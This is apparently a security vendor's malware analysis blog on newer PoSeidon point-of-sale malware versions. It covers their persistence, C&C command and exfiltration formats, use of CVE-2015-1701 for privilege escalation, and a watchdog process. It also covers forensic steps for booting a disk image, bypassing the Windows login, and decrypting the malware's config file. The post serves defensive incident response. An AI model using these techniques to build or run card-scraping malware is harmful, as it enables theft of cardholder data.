Introduction
Most gamers have explored every nook and cranny of their favorite game, completing achievements for hours after they finished the main story line. This same completionist attitude drives a lot of forensic investigators to try to solve every last puzzle during an investigation of a potential compromise. In a game it gives a nice feeling of winning, but during an investigation it is a critical skill to provide answers. During the last few months, Trustwave has encountered the PoSeidon malware family during the course of our digital forensics and incident response investigations we conduct on behalf of clients. The general workings of the PoSeidon malware family (A.K.A. FindPoS) have been well documented by both Cisco and Palo Alto Networks. They are worth a read if you are unfamiliar with the family. However, the authors of PoSeidon have continued to develop new versions and there is enough difference in functionality between those that Trustwave has encountered and the previous versions to warrant additional discussion.
What's new?
Despite the major version increase in PoSeidon development, many of the main features remain the same in the newer versions. However, there have been some smaller modifications as well as two new techniques used in the malware that have not been publicly discussed so far. The first new technique is a privilege escalation exploit that attempts to increase the access the malware has on the target system. The second technique is the addition of a monitor process that ensures the continued execution of the PoSeidon malware on the infected system. We will present an overview of the process first and then delve into the specifics of the new techniques.
PoSeidon Versions
It is always helpful when malware authors identify their versions of the malware. It simplifies determining if anyone has detailed the functionality of the malware. PoSeidon uses two different stages to attack a victim with the first stage (Loader) responsible for setting up the malware and communicating with the Command and Control (C&C) server and the second stage (FindStr) responsible for keylogging and scraping memory for Card Holder Data (CHD). Cisco discussed versions up to 11.4 for the Loader and 7.1 for the FindStr memory scraper. They named the stages Loader and FindStr based on PDB (program database) debugging strings that have since been removed in the later versions of PoSeidon. During our investigations we encountered versions 11.97 and 13.01 for the Loader and 7.95L for FindStr.
Overview
The versions of PoSeidon analyzed by Trustwave execute different code paths based on the name of the process it is running as. Three different code paths are executed if the following three process names are used: svchost.exe, winhost.exe, and winhost32.exe. If the malware is running under any other name not listed above it will execute a fourth code path and install itself as shown in the diagram.
Install
The install code path first attempts to escalate the privileges of the malware by exploiting a vulnerability in the Windows kernel. The nature of this exploit is discussed in greater detail below. Once the exploit is initiated the malware sleeps for 2 seconds while it the escalation is attempted. After the malware resumes, it will attempt to copy itself as WinHost.exe to the system32 directory and install itself as a service under the name WinHost. If successful, the service is started. If the service fails to copy or install, the malware copies itself to the %USERPROFILE% directory as WinHost32.exe and adds itself to the following registry key to maintain persistence:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"WinHost32" "%USERPROFILE%/WinHost32.exe"
The new WinHost32.exe binary is then executed. Once the install is complete, a process is created to execute the following command:
cmd[.]exe /c del /path/to/<dropped malware>.exe
This command deletes the malware at the initial infection point and completes the installation process for PoSeidon.
Malware Runtime
Both WinHost and WinHost32 have similar execution flows. First, Loader creates a suspended copy of svchost.exe, injects a copy of itself into svchost, and executes it to initiate the monitoring process. Next, the malware checks for the configuration file in the same directory the malware is currently running in. It will attempt to open a file that has the same name as the malware with ".cfg" concatenated to the end (Ex. WinHost.exe.cfg). If this file exists it will contain encrypted C&C URLs. Loader will decrypt the file and add the URLs to its existing list of hardcoded URLs. The decryption of this file is discussed in detail below. Regardless of the existence of the configuration file, the malware continues by preparing the information that will be sent back to C&C server. Next, Loader begins contacting the C&C URLs from its list until it receives a response. Previous versions of Loader handle several commands that allowed the malware to download and execute payloads and add URLs to the configuration file. Cisco's blog thoroughly covers the usage of these commands and they still exist in current versions. Version 13.01 added another command, which allows the C&C server to terminate payloads that have been downloaded by Loader. These payloads are discussed in the next section.
Bots
"Bots" are the name the PoSeidon malware authors chose to reference running payloads on a target system. When the C&C server issues any of the download and execute commands they will contain the following arguments: a letter indicating the command, name of the payload, payload ID, and the URL to download from. For example:
{B:vamfignl|<10 digit payload ID>|https://<IP Address>/ldl01/files/vamfignl.exe}
The payload is downloaded and added to the Loader's list of "bots" with the process ID, payload name, and payload ID. The payload ID is checked against the list of running "bots". If the ID is found in the list, that process is terminated and the new payload is executed. This allows the attackers to update individual payloads on the system. On the next communication cycle, the "bot" information is added to the communication with the C&C server. Here is an example of communication with an executing payload on an analysis system:
uid=6929923299193981952&uinfo=QURNSU4tUktLRk8yRDdCIEAgQURNSU4tUktLRk8yRDdCXEFkbWluaXN0cmF0b3I=&win=5.1&bits=32&vers=13.01&build=vamfig&bots={b:vamfignl|<10 digit payload ID>}
The C&C server can issue a terminate command that looks like this:
{t:<10 digit payload ID>}
The Loader will terminate the "bot" that matches the payload ID if it is running on the system. As with the previous version discussed by Cisco the first command issued to a newly infected system is to download the FindStr payload and execute it.
FindStr
FindStr has the functionality to scrape CHD from the system as well as log keystrokes and exfiltrate the data from both back to the C&C server. The 7.95L version of FindStr is simplified from previous versions. The binary no longer moves itself to another location nor does it access any registry keys. It creates a new thread that registers an invisible window under the name "RawWnd" with a class by the same name. Keystrokes are intercepted, formatted, and added to a buffer for later exfiltration. The credit card scraping algorithm has not been significantly changed from previous versions. FindStr scans the process memory of all processes that are not running under NT AUTHORITY. Any found CHD is validated using the Luhn algorithm and added to a buffer for later exfiltration. When exfiltration occurs, the log data, card data, and identifying information is gathered and exfiltrated to the C&C server. Here is an example of this communication:
oprat=2&uid=6929923299193981952&uinfo=QURNSU4tUktLRk8yRDdCIEAgQURNSU4tUktLRk8yRDdCXEFkbWluaXN0cmF0b3I=&win=5.1&vers=7.95L&data=GB8ZGhwcEx8eEhIeEhcbHxsYGxobGxMZGhsaEh0d&logs=REVeT1pLTn5CQ1kKQ1kKSwpeT1leCkVMCl5CTwpBT1NGRU1NT1gKS0ROCmlibgpZSVhLWkNETQpLRk1FWENeQkc=
The data and the logs are XOR'd with 0x2A and then encoded with Base64. Additionaly, FindStr can download and execute payloads based on the response to the communication with the C&C server. Payloads are downloaded to the %TEMP% directory with the BN prefix and executed. Loader continues to check for commands periodically and FindStr continues to capture keystrokes and CHD.
Take Me Higher
Malware authors tend to assume that they will be operating with Administrative privileges on their target system. Many standard malware techniques require this privilege level (or higher) and will fail if it doesn't have it. The authors of PoSeidon did something that is quite uncommon for malware that targets point of sale systems; they used both a privilege escalation exploit and a backup code path if the malware is unable to obtain the required privileges.
During the installation process, one of the first things Loader attempts to do is elevate its privilege level on the system. The escalation attempts to exploit the CVE-2015-1701 Win32k Elevation of Privilege Vulnerability to gain SYSTEM level privileges. TrendMicro wrote a detailed explanation on how the vulnerability works and proof of concept code is available on github. The vulnerability is present on Windows 7 and below for both 32 and 64 bit Windows operating systems. Microsoft has patched this vulnerability with the patch KB304571. Loader creates a copy of svchost.exe suspended, injects the escalation code, and then executes the process. Interestingly, the authors use the sysnative file system redirection on Windows to resolve the path to svchost. The file system redirection allows 32-bit applications to access system DLLs on 64-bit systems. Essentially, it will redirect the call to SysWOW64, which contains 32-bit versions of the system DLLs. This redirection is only available on Windows Vista and higher. This likely oversight by the malware authors causes the privilege escalation attempt to fail on Windows XP because it is not able to resolve the requested path. When the binary is modified to correctly resolve svchost.exe, the code will properly exploit the vulnerability and grant elevated privileges.
On Vista and higher, svchost.exe is launched suspended, injected with the exploit code, and executed. Loader sleeps for two seconds while the escalation code is executed before attempting to install itself as a service on the system. If the escalation fails and Loader does not have sufficient privileges to install a service, the malware authors use the fall back plan. As discussed in the overview, Loader copies itself to the %USERPROFILE%\WinHost32.exe path and executes as a regular unprivileged process.
Using a privilege escalation exploit in point of sale malware is a rare occurrence. Using an exploit and also having back up code to ensure the execution of the malware is almost unseen. Malware authors tend to the lazy side of programming and often do not bother to modify the behavior of the code if they do not achieve the privilege level that they are attempting to reach. Often, they are not used to writing robust code that is capable of withstanding failure and still continuing to accomplish a goal. The only difference between the Loader version 11.97 and version 13.01 was the use of this exploit. 11.97 did not use any kind of privilege escalation.
Who Watches the Watchers
The second difference between is the use of a monitor process to ensure that PoSeidon continues to run on the system. Loader launches a copy of svchost.exe and injects itself into the new process. When the process name is svchost.exe, the process enters an infinite loop responsible for ensuring that PoSeidon remains installed and running on the infected system.
To ensure that no other monitor threads are running, it creates a mutex named "WinHostWD". Next, the monitor determines which installation path the malware is in. It expects the malware to either be in
%WINDIR%\system32\WinHost.exe
which means it was able to install as a service with elevated privileges, or
%USERPROFILE%\WinHost32.exe
which means it was unable to obtain the access required to install the malware as a service. Once it has obtained the path, it opens the file and reads the binary into memory. The Monitor enters an infinite loop that checks every 5 seconds to see if WinHost.exe (or WinHost32.exe) is currently running. If it is not running it will continue to check every 5 seconds for the next two minuets. If the process is still not running the malware rewrites the binary to the install location, reinstalls the service (or re-adds the registry key if it is WinHost32.exe) and executes it before returning to its monitoring duties. This effectively reinstalls the malware after two minutes if Loader ever stops running on the system.
Achievement Unlocked
The final achievement for a PoSeidon Completionist is the encrypted configuration file. It was obvious during static analysis of the code that this file contains additional C&C URLs. Unfortunately, we were initially unable to decrypt the files we had in our possession. The malware used the API CryptProtectData with a password to encrypt the file in a way that could only be decrypted on the system that had originally encrypted it. MSDN describes the function of the API as:
The CryptProtectData function performs encryption on the data in a DATA_BLOB structure. Typically, only a user with the same logon credential as the user who encrypted the data can decrypt the data. In addition, the encryption and decryption usually must be done on the same computer.
In order to decrypt the file and determine the contents, we needed a bootable image of the infected victim's system. Following our video game commitment to complete all the challenges for the case, my co-worker and Trustwave Forensic Analyst, Reno Zenere, decided to figure out how to convert the image from an EWF (Expert Witness Compression Format) EnCase image file format to a live system while I worked on a decryption program.
Reno scored extra points and was able to come back with two different methods (one using free and open source tools, and one using commercially available tools) for performing this important task:
VFC Method (now called Forensic Explorer, a dongle is required to run this commercial software)
We first want to mount our EWF file. The best way to do this is to use FTK Imager and mount the image as Block Device - Read Only. VFC will do a physical name query for the device and will read the partitions of the device. We simply select the partition containing the OS and let VFC do the rest. Once we select the OS partition, we can then tell VFC to create the VM. VFC will create a VMware .vmx file and use the mounted block device as its virtual disk. This allows for a quick creation of a VM and allows us to not have to worry about disk space. After VFC creates the VM we can then launch it directly through VFC, which will subsequently launch VMware and open the VM we just created. Since we will be booting up our target system live we will need to be able to log into the box. If you were able to pull the SAM hive and crack the password previously then you can simply log in with those credentials, obviously this will only work for local accounts. Fortunately, VFC has a great way to patch the system and bypass the login even with domain accounts. So to do this we will want to suspend the VM at the logon screen in VMware, go back to VFC and go to the Logon Bypass option, point it to the VM and VFC will patch the memory to bypass the logon. We can then resume the VM in VMware and login with a blank password even as a domain account.
QEMU method
Alternatively, we can convert an EWF file to a vmdk file using qemu-img which is a tool that comes preinstalled in the SIFT workstation. SIFT is a forensics VM built by the people at SANS and is freely available. First we will want to open a terminal and su to root. We want to mount our image using mount_ewf.py supplying it the EWF file or the .e01 file specifically. Once we have our image mounted we can run the qemu-img tool to convert it to a vmdk file. We will want to run qemu-img convert <mount point> -O vmdk <filename>.vmdk. This will take a while to complete and will create an entire virtual disk so make sure you have enough disk space. Now that we have our vmdk we can then launch VMware, create a new VM, and select to install the OS later. Select the guest OS type, give it a name and setup the hardware, choosing to use an existing virtual disk. We can point it to our newly created vmdk and we will have our VM. We have the same issues as before regarding the login but for this we can set the VM to boot from a virtual live CD (.iso). KALI is a good option for this and we can run chntpw to blank out the local admin account. Finally, we can boot the VM and log in with a blank password. Be aware that if files were encrypted under this user using windows built-in encryption they will remain encrypted.
So now that we are able to boot up the victim's system, we are ready to test out my custom decryption program. The source code is available on our github page. Currently all the passwords are the same in the different builds we've seen of this version, but for future usage the password can be entered on the command line.
decryptPoseidonCfg.exe <encrypted file> <password> <output file>
Once we supplied the password and files, the configuration file yielded its treasure of URLs! Every Xbox gamers knows the joy of seeing the achievement pop on the screen after a long grind to collect all the items and this feeling was no different.
Since the configuration file for PoSeidon is only useful on the target system, the usage of an encryption API that can only decrypt the data on the system itself greatly increase the difficulty in recovering the data. Publishing this methodology and decryption script will aid in reducing the time required to obtain this information in any future investigations.
Conclusion
The previous research done by the security industry into understanding the PoSeidon malware family threat was very helpful in performing analysis on the samples Trustwave encountered. Our hope is that by releasing this new decryption script, and enumerating the new features employed by the malware, we will add to this growing body of knowledge and expose the techniques that malware authors are leveraging in these targeted, criminal attacks on point of sale systems. It is crucial to our understanding of modern malware threats and to the protection of our assets that we continue to approach these ever changing challenges with the focused attitude of a "Completionist" and strive to share those results with a like minded security community. It is the difference between knowing that the configuration file contains C&C URLs and being able to list what URLs were available to the malware at the time of infection. The addition of a monitor processes and usage of a privilege escalation exploit shows an increase in sophistication from the group responsible for PoSeidon and more malware authors. As they produce more sophisticated code it become increasingly important that we release tools, techniques, and information to protect everyone from the threat.
